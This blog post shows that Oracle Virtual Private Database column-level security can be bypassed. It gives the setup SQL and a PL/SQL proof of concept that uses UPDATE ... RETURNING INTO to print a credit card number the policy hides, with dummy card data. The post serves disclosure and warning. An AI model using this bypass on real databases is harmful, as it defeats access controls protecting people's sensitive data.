Virtual Private Database (Oracle VPD) was introduced by Oracle in release 8i. It’s a security feature that provides access restriction at row/column level for privacy and regulatory compliance. It allows sophisticated logic to be applied through the use of custom functions in which rules can be written for fine-grained data access. If you want to know more about how it works check the official documentation.
The point of this post is that the column-level security of Oracle VPD can be easily tricked! It all started when I decided to check the new Redaction feature released with Oracle 12c. This is somehow similar to VPD but it works at a different level. I came across a very interesting article from David Litchfield that in his article demonstrates how this feature is broken and not safe at all. Well, starting from there I made my own similar investigations on VPD and got some really surprising results.
Let’s see what I’ve discovered by connecting to the database with SCOTT and creating our usual test table
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
create table mytab(cust_id number, secret varchar2(1), cc_number varchar2(20)); insert into mytab values(1, 'Y', '1234-5899-7458-1111'); insert into mytab values(2, 'N', '5093-1214-0875-1496'); insert into mytab values(3, 'N', '9905-8465-3208-5478'); insert into mytab values(4, 'Y', '5521-4785-0033-7408'); insert into mytab values(5, 'Y', '1457-9650-0897-0000'); commit; grant select on MYTAB to MARK; -- used later |
The table has a “customer id” column, a “security” flag that we’ll use to identify secret data and a “credit card number” column. I’ve also inserted 5 rows just for the purpose of this demo.
Now I want the “cc_number” values to be invisible to the user SCOTT whenever the flag “secret” is equal to Y. To do that we can use Oracle VPD and first need to create a function containing the logic for hiding that column
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
create or replace package private_data_protection as function hide_col(in_schema varchar2, in_table varchar2) return varchar2; end private_data_protection; / create or replace package body private_data_protection as function hide_col(in_schema varchar2, in_table varchar2) return varchar2 as begin if sys_context('userenv', 'session_user') = 'SCOTT' then return 'secret = ''N'''; else return null; end if; end hide_col; end private_data_protection; / |
The code is very simple: if the user is SCOTT the condition secret = ‘N’ is added to the query hiding the sensitive data. All other users will see all without any filter.
In order to make this rule active we need to create a “policy” that calls the function we just compiled
|
1 2 3 4 5 6 7 8 9 10 |
begin dbms_rls.add_policy(object_schema => 'SCOTT', object_name => 'MYTAB', policy_name => 'CC_COL_POLICY', function_schema => 'SCOTT', policy_function => 'private_data_protection.hide_col', sec_relevant_cols => 'CC_NUMBER', sec_relevant_cols_opt => dbms_rls.ALL_ROWS); end; / |
This policy is defined at column level so it’s intended to hide values from the column CC_NUMBER leaving all remaining ones visible.
If we connect to the database with another user, let’s say MARK in my test, and query the table we are able to see all data
|
1 2 3 4 5 6 7 8 |
SQL> select * from scott.mytab; CUST_ID SECRET CC_NUMBER ---------- ------ -------------------- 1 Y 1234-5899-7458-1111 2 N 5093-1214-0875-1496 3 N 9905-8465-3208-5478 4 Y 5521-4785-0033-7408 5 Y 1457-9650-0897-0000 |
Now let’s go back and connect with SCOTT. When running the same query we get a different result because of the VPD policy
|
1 2 3 4 5 6 7 8 |
SQL> select * from mytab; CUST_ID SECRET CC_NUMBER ---------- ------ -------------------- 1 Y 2 N 5093-1214-0875-1496 3 N 9905-8465-3208-5478 4 Y 5 Y |
As you can see, for all rows that have secret equal to Y, the column CC_NUMBER is not visible. It seems solid, doesn’t it? I’m afraid it’s not.
Do you remember that way of returning column values in a delete or update DML by using the RETURNING INTO clause?
Well, look at this
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
SQL> set serveroutput on SQL> declare 2 vCC varchar2(20); 3 begin 4 update mytab set cust_id = cust_id where cust_id = 1 5 returning cc_number into vCC; 6 7 dbms_output.put_line(chr(10)); 8 dbms_output.put_line('The CREDIT CARD number you are unsuccessfully trying to hide is '||vCC); 9 dbms_output.put_line(chr(10)); 10 rollback; 11 end; 12 / The CREDIT CARD number you are unsuccessfully trying to hide is 1234-5899-7458-1111 PL/SQL procedure successfully completed |
We just printed the value we should not have access to! By simply updating a row whose CC number we should not see and by using the RETURNING INTO clause we managed to easily (and I underline it, EASILY) access the hidden data. I’ve tested this on releases 11.2.0.2.0, 11.2.0.3.0 and 12.1.0.2.0 with same exact results.
It seems Oracle forgot that data can be retrieved this way. I don’t have much more to add, just don’t rely on Oracle VPD column-level security if you really want to keep your sensitive data safe.
At least not until Oracle releases a patch for this quite big flaw.
